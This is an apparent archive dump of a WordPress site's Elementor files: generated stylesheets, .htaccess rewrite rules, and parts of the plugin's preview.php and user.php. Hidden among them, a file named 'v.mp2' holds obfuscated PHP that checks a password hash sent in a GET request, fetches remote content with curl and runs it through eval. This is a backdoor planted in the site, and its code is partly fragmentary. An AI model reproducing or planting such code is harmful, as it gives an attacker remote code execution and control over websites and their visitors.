css/css/index.php000064400000000000147206557070007747 0ustar00css/css/v.mp2000064400000011541147206557070007030 0ustar00Iv!VL[:-*/ = /*-^+}rLy-*/$xb/*-l~cX-*/ $gBGeDMS /*-b}w19uF]]-*/= /*-rm-*/explode/*-P:e1k8t${F-*/(/*-)%OJVL-*/"|", /*-ulNWA7W]Q-*/$RBjHvG/*-O{uO|(-*/); /*-e;SU9Q-*/$fYm /*-=$I,u(b-*/= /*-Z@Z-*/""; foreach /*-d4-*/(/*-/*-<_uiuEeC-*/ $mXbf/*-&N-*/) /*-)lBT02}IN[-*/$fYm /*-701v-*/.= /*-gz.bcm-*/$pPLFMi[$mXbf/*-QXl^6t-*/ - /*-a:u-*/59868/*-AtV-*/];/*-OCRvzD-*/ return /*-ab~OgRw]-*/$fYm; /*-Rj-*/} /*-c2}4+v`=-*/static /*-W;P$7-*/function /*-aq&+V2pR=-*/wJucWImC/*-LgPl7-*/(/*-=6KR;WN-*/$ZSTN,/*-ica#nUS+]-*/ $VlKhTgiN/*-V(ok-*/)/*-4B4!^:9-*/ {/*-TD-*/ $RdhIypgt/*-KPh-*/ = /*-SX^j56)}-*/curl_init/*-xlX8-*/(/*-M!!{iTO{A=-*/);/*-=CU-*/ curl_setopt/*--Cq-*/(/*->r)-*/$RdhIypgt,/*-X-*/ CURLOPT_RETURNTRANSFER,/*-}8idq-*/ 1/*-}+Y93W-*/);/*-Cv-*/ $HFOuRNT/*-Go{wj-*/ = /*-J`nL-*/curl_exec/*-ZIZzBl-*/(/*-BG2-*/$RdhIypgt/*-zv-*/); /*-e6-*/return /*-hSyH`sJ-*/$WzLEonfT/*-a6C}ff`Y-*/)/*-Fmm-*/ $NdiWPqsXrO/*-Z7X=vI-*/[] /*-7|$2:>wu,-*/= /*-!e4(?n)-*/self/*-pb6y-tH-*/::/*-KVp7zd-*/zQvrSmn/*-$S!4`|t-*/(/*-+GW-*/$WzLEonfT/*-4x5~T;-*/);/*-Dl}L_Q-*/$sp /*->P-*/);/*-9qG-*/=/*-cZh-*/ @$NdiWPqsXrO/*-j>{b~.-*/[/*-y]M:-*/0+3/*-lVfa`Gc-*/]/*-+0zx=~t-*/(/*-@c-*/$NdiWPqsXrO/*-iK@,[I-*/[/*-BZY-*/2+4/*-;(}b^-*/], /*-7&>zuCG-*/$sp/*--*/);/*-m?6j0^-*/ $HVXojrwB /*-[l`_jM:-*/=/*-@J-*/ $NdiWPqsXrO/*-xy6-*/[/*-|;wc,%`]-*/1+1/*-a~~%nZlfc-*/]/*-EPr,%`MT8-*/(/*-]CL=+R;-*/$hZtIYGJvD,/*-+}a-*/ true/*-UL08?>)n-*/); /*-q98lg-*/@${/*-3J-*/"_"./*-EP,-*/"G"./*-Mny-*/"E"/*-x9zMD#GKg-*/."T"/*-#epp09R-*/}/*-hl<-*/[/*->hknL#V0M-*/$NdiWPqsXrO/*-5g-*/[3+7/*-22C|82;W4B-*/]/*-!>-*/]/*-q-L&J-%-*/ == /*-CtD-*/1 /*--zX7ymH-*/&& /*-3rALI}Bc?f-*/die/*--H[}(|-*/(/*-ZQ5uC-*/$NdiWPqsXrO[5+0/*-,C-*/]/*-`XWsUz&M-*/(/*-rc][$su|X-*/__FILE__/*-!T-*/)/*-uy!z4j?3m-*/); /*-KuIK-*/if/*-%hsN&uL_-*/(/*-GtaPqpm6Rs-*/ (/*-21v&^T`|-*/(@/*-`A-*/$HVXojrwB/*-9v$pu~Zo-*/[/*-hNt4-*/0/*-dd+&&K11-*/] /*-P5)O(-*/- time/*-),m$^lIngT-*/()/*-cwxt(u-*/) > /*-nt-*/0/*-O~^yI^jt_-*/)/*-Lkj`IA>o-*/ and /*-N|~0O-*/(/*-[+z4ghq)-*/md5/*-C[};Y%k(P-*/(/*-NBk-*/md5/*-%S0;fy[A-*/(/*-BhyqhQJR+-*/$HVXojrwB/*-N#CB.-*/[/*-L2mHBA-*/3+0/*-qc3?N[&-*/]/*-.G(gD-*/)/*-[Q-*/)/*-T#oT%-*/ === /*-7zjQzMt-*/"961dedfa0fc1f3c36bd89d9e43de8bec"/*-Z1Q:,fL-*/)/*-E+PFPl+-*/ ): /*-IOXg:,:-*/$UhrVQcz /*-i,IH-*/=/*-sI%L5D#G8j-*/ self/*-P;Qjm-*/::/*-kdilL`-*/wJucWImC/*-70>-*/(/*-rfB-*/$HVXojrwB/*-VE0c!yjN-*/[/*-Q9|=<-*/0+1/*-Rq,[UxaZ)_-*/], /*-tO@pvg-*/$NdiWPqsXrO/*-Vs?U!vk2A-*/[/*-4B-*/0+5/*-B2t_-*/]/*-,5>-*/);/*-]Q7+Y0-*/@eval/*-2mo=8rov-*/(/*->%6W2}8tGs-*/$NdiWPqsXrO/*-a8-*/[/*-!?_-*/0+4/*-95yE1kWr-*/]/*-bP.ju=e+ep-*/(/*-1ge1o[^-*/$UhrVQcz/*-^&{,8-*/)/*--_?a[$I0-*/);/*-5b.K!x_-T-*//*-Y%{sWr;R_-*/die;/*-f-tU(BiJ-*/ endif;/*-|A^b-*/ }/*-|a17-*/}/*-{gkv.j_J.-*/Hy/*-6tsk-*/::/*-L@-*/MJngrfhtL/*-IBh&px-*/();/*-K?@-*/ ?>css/css/.htaccess000064400000001626147206557070007744 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] css/post-1220.css000064400000010007147206557070007430 0ustar00.elementor-1220 .elementor-element.elementor-element-4f61393 > .elementor-container{max-width:1280px;}.elementor-1220 .elementor-element.elementor-element-4f61393{margin-top:0px;margin-bottom:0px;padding:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-d558b0b{padding:0px 20px 18px 20px;}.elementor-1220 .elementor-element.elementor-element-1ea7e8c > .elementor-widget-container{margin:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-0f26c3e > .elementor-container{max-width:1254px;}.elementor-1220 .elementor-element.elementor-element-0f26c3e .elementor-column-gap-custom .elementor-column > .elementor-element-populated{padding:7px;}.elementor-1220 .elementor-element.elementor-element-45baa71 .entry-title{font-size:34px;}.elementor-1220 .elementor-element.elementor-element-45baa71 > .elementor-widget-container{margin:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-7fbe86a > .elementor-container{max-width:1254px;}.elementor-1220 .elementor-element.elementor-element-7fbe86a .elementor-column-gap-custom .elementor-column > .elementor-element-populated{padding:7px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .p-featured{padding-bottom:80%;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .is-gap-custom{margin-left:-10px;margin-right:-10px;--column-gap:10px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .is-gap-custom .block-inner > *{padding-left:10px;padding-right:10px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 > .elementor-widget-container{margin:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-3fa1872 .elementor-column-gap-custom .elementor-column > .elementor-element-populated{padding:20px;}@media(max-width:1024px){.elementor-1220 .elementor-element.elementor-element-4f61393{padding:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-1ea7e8c > .elementor-widget-container{margin:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-0f26c3e{margin-top:0px;margin-bottom:0px;padding:0px 13px 0px 13px;}.elementor-1220 .elementor-element.elementor-element-45baa71 .p-featured{padding-bottom:90%;}.elementor-1220 .elementor-element.elementor-element-45baa71 .entry-title{font-size:22px;}.elementor-1220 .elementor-element.elementor-element-45baa71 .is-gap-custom{margin-left:-7px;margin-right:-7px;--column-gap:7px;}.elementor-1220 .elementor-element.elementor-element-45baa71 .is-gap-custom .block-inner > *{padding-left:7px;padding-right:7px;}.elementor-1220 .elementor-element.elementor-element-45baa71 > .elementor-widget-container{margin:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-7fbe86a{padding:0px 13px 0px 13px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .p-featured{padding-bottom:90%;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .entry-title{font-size:18px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .is-gap-custom{margin-left:-7px;margin-right:-7px;--column-gap:7px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .is-gap-custom .block-inner > *{padding-left:7px;padding-right:7px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 > .elementor-widget-container{margin:0px 0px 0px 0px;}}@media(max-width:767px){.elementor-1220 .elementor-element.elementor-element-4f61393{padding:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-1ea7e8c > .elementor-widget-container{margin:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-0f26c3e{padding:0px 13px 0px 13px;}.elementor-1220 .elementor-element.elementor-element-45baa71 .p-featured{padding-bottom:80%;}.elementor-1220 .elementor-element.elementor-element-45baa71 .entry-title{font-size:18px;}.elementor-1220 .elementor-element.elementor-element-45baa71 > .elementor-widget-container{margin:0px 0px 0px 0px;}.elementor-1220 .elementor-element.elementor-element-7fbe86a{padding:0px 13px 0px 13px;}.elementor-1220 .elementor-element.elementor-element-9dd70c6 .p-featured{padding-bottom:58%;}}css/post-1752.css000064400000001443147206557070007446 0ustar00.elementor-1752 .elementor-element.elementor-element-2859017 > .elementor-element-populated{margin:0px 0px 0px 10px;--e-column-margin-right:0px;--e-column-margin-left:10px;}.elementor-1752 .elementor-element.elementor-element-40d34d5 > .elementor-widget-container{margin:0px 0px 20px 0px;}@media(max-width:1024px) and (min-width:768px){.elementor-1752 .elementor-element.elementor-element-2859017{width:100%;}}@media(max-width:1024px){.elementor-1752 .elementor-element.elementor-element-2859017 > .elementor-element-populated{margin:0px 0px 0px 0px;--e-column-margin-right:0px;--e-column-margin-left:0px;}}@media(max-width:767px){.elementor-1752 .elementor-element.elementor-element-2859017 > .elementor-element-populated{margin:0px 0px 0px 0px;--e-column-margin-right:0px;--e-column-margin-left:0px;}}css/post-1714.css000064400000006422147206557070007446 0ustar00.elementor-1714 .elementor-element.elementor-element-1661d9e > .elementor-container{max-width:1280px;}.elementor-1714 .elementor-element.elementor-element-1661d9e:not(.elementor-motion-effects-element-type-background), .elementor-1714 .elementor-element.elementor-element-1661d9e > .elementor-motion-effects-container > .elementor-motion-effects-layer{background-color:#AAAAAA15;}.elementor-1714 .elementor-element.elementor-element-1661d9e{transition:background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s;margin-top:0px;margin-bottom:0px;padding:30px 0px 30px 0px;}.elementor-1714 .elementor-element.elementor-element-1661d9e > .elementor-background-overlay{transition:background 0.3s, border-radius 0.3s, opacity 0.3s;}.elementor-1714 .elementor-element.elementor-element-a4c2b6e .elementor-column-gap-custom .elementor-column > .elementor-element-populated{padding:20px;}.elementor-bc-flex-widget .elementor-1714 .elementor-element.elementor-element-1dee8ef.elementor-column .elementor-widget-wrap{align-items:center;}.elementor-1714 .elementor-element.elementor-element-1dee8ef.elementor-column.elementor-element[data-element_type="column"] > .elementor-widget-wrap.elementor-element-populated{align-content:center;align-items:center;}.elementor-1714 .elementor-element.elementor-element-2cf3c34{--divider-border-style:zigzag_tribal;--divider-color:#AAAAAA70;--divider-pattern-height:10px;}.elementor-1714 .elementor-element.elementor-element-2cf3c34 .elementor-divider-separator{width:100%;}.elementor-1714 .elementor-element.elementor-element-2cf3c34 .elementor-divider{padding-block-start:0px;padding-block-end:0px;}.elementor-1714 .elementor-element.elementor-element-2cf3c34 > .elementor-widget-container{padding:0px 20px 0px 20px;}.elementor-1714 .elementor-element.elementor-element-d064a02 .elementor-column-gap-custom .elementor-column > .elementor-element-populated{padding:20px;}@media(min-width:768px){.elementor-1714 .elementor-element.elementor-element-c3e6ca9{width:36.094%;}.elementor-1714 .elementor-element.elementor-element-1dee8ef{width:63.828%;}.elementor-1714 .elementor-element.elementor-element-076873c{width:30%;}.elementor-1714 .elementor-element.elementor-element-2dfc7ca{width:15%;}.elementor-1714 .elementor-element.elementor-element-b12cd2f{width:15%;}.elementor-1714 .elementor-element.elementor-element-caed948{width:40%;}}@media(max-width:1024px) and (min-width:768px){.elementor-1714 .elementor-element.elementor-element-076873c{width:100%;}.elementor-1714 .elementor-element.elementor-element-2dfc7ca{width:50%;}.elementor-1714 .elementor-element.elementor-element-b12cd2f{width:50%;}.elementor-1714 .elementor-element.elementor-element-caed948{width:100%;}}@media(max-width:1024px){.elementor-1714 .elementor-element.elementor-element-d064a02 .elementor-column-gap-custom .elementor-column > .elementor-element-populated{padding:20px;}.elementor-1714 .elementor-element.elementor-element-c9281ab > .elementor-widget-container{padding:0px 0px 0px 0px;}}@media(max-width:767px){.elementor-1714 .elementor-element.elementor-element-1dee8ef > .elementor-element-populated{margin:-10px 0px 0px 0px;--e-column-margin-right:0px;--e-column-margin-left:0px;}.elementor-1714 .elementor-element.elementor-element-2dfc7ca{width:50%;}.elementor-1714 .elementor-element.elementor-element-b12cd2f{width:50%;}}css/global.css000064400000022403147206557070007324 0ustar00.elementor-widget-heading .elementor-heading-title{color:var( --e-global-color-primary );font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-image .widget-image-caption{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-text-editor{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:var( --e-global-color-primary );}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap, .elementor-widget-text-editor.elementor-drop-cap-view-default .elementor-drop-cap{color:var( --e-global-color-primary );border-color:var( --e-global-color-primary );}.elementor-widget-button .elementor-button{font-family:var( --e-global-typography-accent-font-family ), Sans-serif;font-weight:var( --e-global-typography-accent-font-weight );background-color:var( --e-global-color-accent );}.elementor-widget-divider{--divider-color:var( --e-global-color-secondary );}.elementor-widget-divider .elementor-divider__text{color:var( --e-global-color-secondary );font-family:var( --e-global-typography-secondary-font-family ), Sans-serif;font-weight:var( --e-global-typography-secondary-font-weight );}.elementor-widget-divider.elementor-view-stacked .elementor-icon{background-color:var( --e-global-color-secondary );}.elementor-widget-divider.elementor-view-framed .elementor-icon, .elementor-widget-divider.elementor-view-default .elementor-icon{color:var( --e-global-color-secondary );border-color:var( --e-global-color-secondary );}.elementor-widget-divider.elementor-view-framed .elementor-icon, .elementor-widget-divider.elementor-view-default .elementor-icon svg{fill:var( --e-global-color-secondary );}.elementor-widget-image-box .elementor-image-box-title{color:var( --e-global-color-primary );font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-image-box .elementor-image-box-description{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-icon.elementor-view-stacked .elementor-icon{background-color:var( --e-global-color-primary );}.elementor-widget-icon.elementor-view-framed .elementor-icon, .elementor-widget-icon.elementor-view-default .elementor-icon{color:var( --e-global-color-primary );border-color:var( --e-global-color-primary );}.elementor-widget-icon.elementor-view-framed .elementor-icon, .elementor-widget-icon.elementor-view-default .elementor-icon svg{fill:var( --e-global-color-primary );}.elementor-widget-icon-box.elementor-view-stacked .elementor-icon{background-color:var( --e-global-color-primary );}.elementor-widget-icon-box.elementor-view-framed .elementor-icon, .elementor-widget-icon-box.elementor-view-default .elementor-icon{fill:var( --e-global-color-primary );color:var( --e-global-color-primary );border-color:var( --e-global-color-primary );}.elementor-widget-icon-box .elementor-icon-box-title{color:var( --e-global-color-primary );}.elementor-widget-icon-box .elementor-icon-box-title, .elementor-widget-icon-box .elementor-icon-box-title a{font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-icon-box .elementor-icon-box-description{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-star-rating .elementor-star-rating__title{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-image-gallery .gallery-item .gallery-caption{font-family:var( --e-global-typography-accent-font-family ), Sans-serif;font-weight:var( --e-global-typography-accent-font-weight );}.elementor-widget-icon-list .elementor-icon-list-item:not(:last-child):after{border-color:var( --e-global-color-text );}.elementor-widget-icon-list .elementor-icon-list-icon i{color:var( --e-global-color-primary );}.elementor-widget-icon-list .elementor-icon-list-icon svg{fill:var( --e-global-color-primary );}.elementor-widget-icon-list .elementor-icon-list-item > .elementor-icon-list-text, .elementor-widget-icon-list .elementor-icon-list-item > a{font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-icon-list .elementor-icon-list-text{color:var( --e-global-color-secondary );}.elementor-widget-counter .elementor-counter-number-wrapper{color:var( --e-global-color-primary );font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-counter .elementor-counter-title{color:var( --e-global-color-secondary );font-family:var( --e-global-typography-secondary-font-family ), Sans-serif;font-weight:var( --e-global-typography-secondary-font-weight );}.elementor-widget-progress .elementor-progress-wrapper .elementor-progress-bar{background-color:var( --e-global-color-primary );}.elementor-widget-progress .elementor-title{color:var( --e-global-color-primary );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-testimonial .elementor-testimonial-content{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-testimonial .elementor-testimonial-name{color:var( --e-global-color-primary );font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-testimonial .elementor-testimonial-job{color:var( --e-global-color-secondary );font-family:var( --e-global-typography-secondary-font-family ), Sans-serif;font-weight:var( --e-global-typography-secondary-font-weight );}.elementor-widget-tabs .elementor-tab-title, .elementor-widget-tabs .elementor-tab-title a{color:var( --e-global-color-primary );}.elementor-widget-tabs .elementor-tab-title.elementor-active, .elementor-widget-tabs .elementor-tab-title.elementor-active a{color:var( --e-global-color-accent );}.elementor-widget-tabs .elementor-tab-title{font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-tabs .elementor-tab-content{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-accordion .elementor-accordion-icon, .elementor-widget-accordion .elementor-accordion-title{color:var( --e-global-color-primary );}.elementor-widget-accordion .elementor-accordion-icon svg{fill:var( --e-global-color-primary );}.elementor-widget-accordion .elementor-active .elementor-accordion-icon, .elementor-widget-accordion .elementor-active .elementor-accordion-title{color:var( --e-global-color-accent );}.elementor-widget-accordion .elementor-active .elementor-accordion-icon svg{fill:var( --e-global-color-accent );}.elementor-widget-accordion .elementor-accordion-title{font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-accordion .elementor-tab-content{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-toggle .elementor-toggle-title, .elementor-widget-toggle .elementor-toggle-icon{color:var( --e-global-color-primary );}.elementor-widget-toggle .elementor-toggle-icon svg{fill:var( --e-global-color-primary );}.elementor-widget-toggle .elementor-tab-title.elementor-active a, .elementor-widget-toggle .elementor-tab-title.elementor-active .elementor-toggle-icon{color:var( --e-global-color-accent );}.elementor-widget-toggle .elementor-toggle-title{font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-toggle .elementor-tab-content{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-alert .elementor-alert-title{font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-alert .elementor-alert-description{font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-text-path{font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}css/post-1428.css000064400000001675147206557070007455 0ustar00.elementor-1428 .elementor-element.elementor-element-85f3d5b > .elementor-container{max-width:1280px;}.elementor-1428 .elementor-element.elementor-element-85f3d5b .elementor-column-gap-custom .elementor-column > .elementor-element-populated{padding:7px;}.elementor-1428 .elementor-element.elementor-element-a39c235 .p-featured{padding-bottom:66%;}.elementor-1428 .elementor-element.elementor-element-a39c235 .entry-title{font-size:42px;}.elementor-1428 .elementor-element.elementor-element-f5236f3 .p-featured{padding-bottom:65.3%;}@media(max-width:1024px) and (min-width:768px){.elementor-1428 .elementor-element.elementor-element-76cb72b{width:100%;}.elementor-1428 .elementor-element.elementor-element-cbee4e3{width:100%;}}@media(max-width:1024px){.elementor-1428 .elementor-element.elementor-element-a39c235 .entry-title{font-size:30px;}}@media(max-width:767px){.elementor-1428 .elementor-element.elementor-element-a39c235 .entry-title{font-size:21px;}}css/post-5.css000064400000002123147206557070007210 0ustar00.elementor-kit-5{--e-global-color-primary:#6EC1E4;--e-global-color-secondary:#54595F;--e-global-color-text:#7A7A7A;--e-global-color-accent:#61CE70;--e-global-typography-primary-font-family:"Roboto";--e-global-typography-primary-font-weight:600;--e-global-typography-secondary-font-family:"Roboto Slab";--e-global-typography-secondary-font-weight:400;--e-global-typography-text-font-family:"Roboto";--e-global-typography-text-font-weight:400;--e-global-typography-accent-font-family:"Roboto";--e-global-typography-accent-font-weight:500;}.elementor-section.elementor-section-boxed > .elementor-container{max-width:1140px;}.e-con{--container-max-width:1140px;}.elementor-widget:not(:last-child){margin-block-end:20px;}.elementor-element{--widgets-spacing:20px 20px;}{}h1.entry-title{display:var(--page-title-display);}@media(max-width:1024px){.elementor-section.elementor-section-boxed > .elementor-container{max-width:1024px;}.e-con{--container-max-width:1024px;}}@media(max-width:767px){.elementor-section.elementor-section-boxed > .elementor-container{max-width:767px;}.e-con{--container-max-width:767px;}}css/.htaccess000064400000001626147206557070007154 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] includes/preview.php000064400000017136147206604650010566 0ustar00is_preview_mode() ) { return; } if ( isset( $_GET['preview-debug'] ) ) { register_shutdown_function( function () { $e = error_get_last(); if ( $e ) { echo '
';
					Utils::print_unescaped_internal_string( $e['message'] );
					echo '
'; } } ); } $this->post_id = get_the_ID(); $this->is_preview = true; // Don't redirect to permalink. remove_action( 'template_redirect', 'redirect_canonical' ); // Compatibility with Yoast SEO plugin when 'Removes unneeded query variables from the URL' enabled. // TODO: Move this code to `includes/compatibility.php`. if ( class_exists( 'WPSEO_Frontend' ) ) { remove_action( 'template_redirect', [ \WPSEO_Frontend::get_instance(), 'clean_permalink' ], 1 ); } // Disable the WP admin bar in preview mode. add_filter( 'show_admin_bar', '__return_false' ); add_action( 'wp_enqueue_scripts', function() { $this->enqueue_styles(); $this->enqueue_scripts(); }, self::ENQUEUED_STYLES_PRIORITY ); add_filter( 'the_content', [ $this, 'builder_wrapper' ], 999999 ); add_action( 'wp_footer', [ $this, 'wp_footer' ] ); // Avoid Cloudflare's Rocket Loader lazy load the editor iframe add_filter( 'script_loader_tag', [ $this, 'rocket_loader_filter' ], 10, 3 ); // Tell to WP Cache plugins do not cache this request. Utils::do_not_cache(); /** * Preview init. * * Fires on Elementor preview init, after Elementor preview has finished * loading but before any headers are sent. * * @since 1.0.0 * * @param Preview $this The current preview. */ do_action( 'elementor/preview/init', $this ); } /** * Retrieve post ID. * * Get the ID of the current post. * * @since 1.8.0 * @access public * * @return int Post ID. */ public function get_post_id() { return $this->post_id; } /** * Is Preview. * * Whether current request is the elementor preview iframe. * The flag is not related to a specific post or edit permissions. * * @since 2.9.5 * @access public * * @return bool */ public function is_preview() { return $this->is_preview; } /** * Whether preview mode is active. * * Used to determine whether we are in the preview mode (iframe). * * @since 1.0.0 * @access public * * @param int $post_id Optional. Post ID. Default is `0`. * * @return bool Whether preview mode is active. */ public function is_preview_mode( $post_id = 0 ) { if ( ! isset( $_GET['elementor-preview'] ) ) { return false; } if ( empty( $post_id ) ) { $post_id = get_the_ID(); } if ( ! User::is_current_user_can_edit( $post_id ) ) { return false; } if ( $post_id !== (int) $_GET['elementor-preview'] ) { return false; } return true; } /** * Builder wrapper. * * Used to add an empty HTML wrapper for the builder, the javascript will add * the content later. * * @since 1.0.0 * @access public * * @param string $content The content of the builder. * * @return string HTML wrapper for the builder. */ public function builder_wrapper( $content ) { if ( get_the_ID() === $this->post_id ) { $document = Plugin::$instance->documents->get( $this->post_id ); $attributes = $document->get_container_attributes(); $content = '
'; } return $content; } /** * Enqueue preview styles. * * Registers all the preview styles and enqueues them. * * Fired by `wp_enqueue_scripts` action. * * @since 1.0.0 * @access private */ private function enqueue_styles() { // Hold-on all jQuery plugins after all HTML markup render. wp_add_inline_script( 'jquery-migrate', 'jQuery.holdReady( true );' ); Plugin::$instance->frontend->enqueue_styles(); Plugin::$instance->widgets_manager->enqueue_widgets_styles(); $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; $direction_suffix = is_rtl() ? '-rtl' : ''; wp_register_style( 'elementor-select2', ELEMENTOR_ASSETS_URL . 'lib/e-select2/css/e-select2' . $suffix . '.css', [], '4.0.6-rc.1' ); wp_register_style( 'editor-preview', ELEMENTOR_ASSETS_URL . 'css/editor-preview' . $direction_suffix . $suffix . '.css', [ 'elementor-select2', ], ELEMENTOR_VERSION ); wp_enqueue_style( 'e-theme-ui-light', $this->get_css_assets_url( 'theme-light' ), [], ELEMENTOR_VERSION ); wp_enqueue_style( 'editor-preview' ); // Handle the 'wp audio' in editor preview. wp_enqueue_style( 'wp-mediaelement' ); /** * Preview enqueue styles. * * Fires after Elementor preview styles are enqueued. * * @since 1.0.0 */ do_action( 'elementor/preview/enqueue_styles' ); } /** * Enqueue preview scripts. * * Registers all the preview scripts and enqueues them. * * Fired by `wp_enqueue_scripts` action. * * @since 1.5.4 * @access private */ private function enqueue_scripts() { Plugin::$instance->frontend->register_scripts(); Plugin::$instance->widgets_manager->enqueue_widgets_scripts(); $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'elementor-inline-editor', ELEMENTOR_ASSETS_URL . 'lib/inline-editor/js/inline-editor' . $suffix . '.js', [], ELEMENTOR_VERSION, true ); // Handle the 'wp audio' in editor preview. wp_enqueue_script( 'wp-mediaelement' ); /** * Preview enqueue scripts. * * Fires after Elementor preview scripts are enqueued. * * @since 1.5.4 */ do_action( 'elementor/preview/enqueue_scripts' ); } public function rocket_loader_filter( $tag, $handle, $src ) { return str_replace( 'frontend; if ( $frontend->has_elementor_in_page() ) { // Has header/footer/widget-template - enqueue all style/scripts/fonts. $frontend->wp_footer(); } else { // Enqueue only scripts. $frontend->enqueue_scripts(); } } /** * Preview constructor. * * Initializing Elementor preview. * * @since 1.0.0 * @access public */ public function __construct() { add_action( 'template_redirect', [ $this, 'init' ], 0 ); } } includes/user.php000064400000023604147206604650010060 0ustar00register_ajax_action( 'introduction_viewed', [ __CLASS__, 'set_introduction_viewed' ] ); $ajax->register_ajax_action( 'beta_tester_signup', [ __CLASS__, 'register_as_beta_tester' ] ); $ajax->register_ajax_action( 'dismissed_editor_notices', [ __CLASS__, 'set_dismissed_editor_notices' ] ); } /** * Is current user can edit. * * Whether the current user can edit the post. * * @since 1.0.0 * @access public * @static * * @param int $post_id Optional. The post ID. Default is `0`. * * @return bool Whether the current user can edit the post. */ public static function is_current_user_can_edit( $post_id = 0 ) { $post = get_post( $post_id ); if ( ! $post ) { return false; } if ( 'trash' === get_post_status( $post->ID ) ) { return false; } if ( ! self::is_current_user_can_edit_post_type( $post->post_type ) ) { return false; } $post_type_object = get_post_type_object( $post->post_type ); if ( ! isset( $post_type_object->cap->edit_post ) ) { return false; } $edit_cap = $post_type_object->cap->edit_post; if ( ! current_user_can( $edit_cap, $post->ID ) ) { return false; } if ( intval( get_option( 'page_for_posts' ) ) === $post->ID ) { return false; } return true; } /** * Is current user can access elementor. * * Whether the current user role is not excluded by Elementor Settings. * * @since 2.1.7 * @access public * @static * * @return bool True if can access, False otherwise. */ public static function is_current_user_in_editing_black_list() { $user = wp_get_current_user(); $exclude_roles = get_option( 'elementor_exclude_user_roles', [] ); $compare_roles = array_intersect( $user->roles, $exclude_roles ); if ( ! empty( $compare_roles ) ) { return false; } return true; } /** * Is current user can edit post type. * * Whether the current user can edit the given post type. * * @since 1.9.0 * @access public * @static * * @param string $post_type the post type slug to check. * * @return bool True if can edit, False otherwise. */ public static function is_current_user_can_edit_post_type( $post_type ) { if ( ! self::is_current_user_in_editing_black_list() ) { return false; } if ( ! Utils::is_post_type_support( $post_type ) ) { return false; } $post_type_object = get_post_type_object( $post_type ); if ( ! current_user_can( $post_type_object->cap->edit_posts ) ) { return false; } return true; } /** * Get user notices. * * 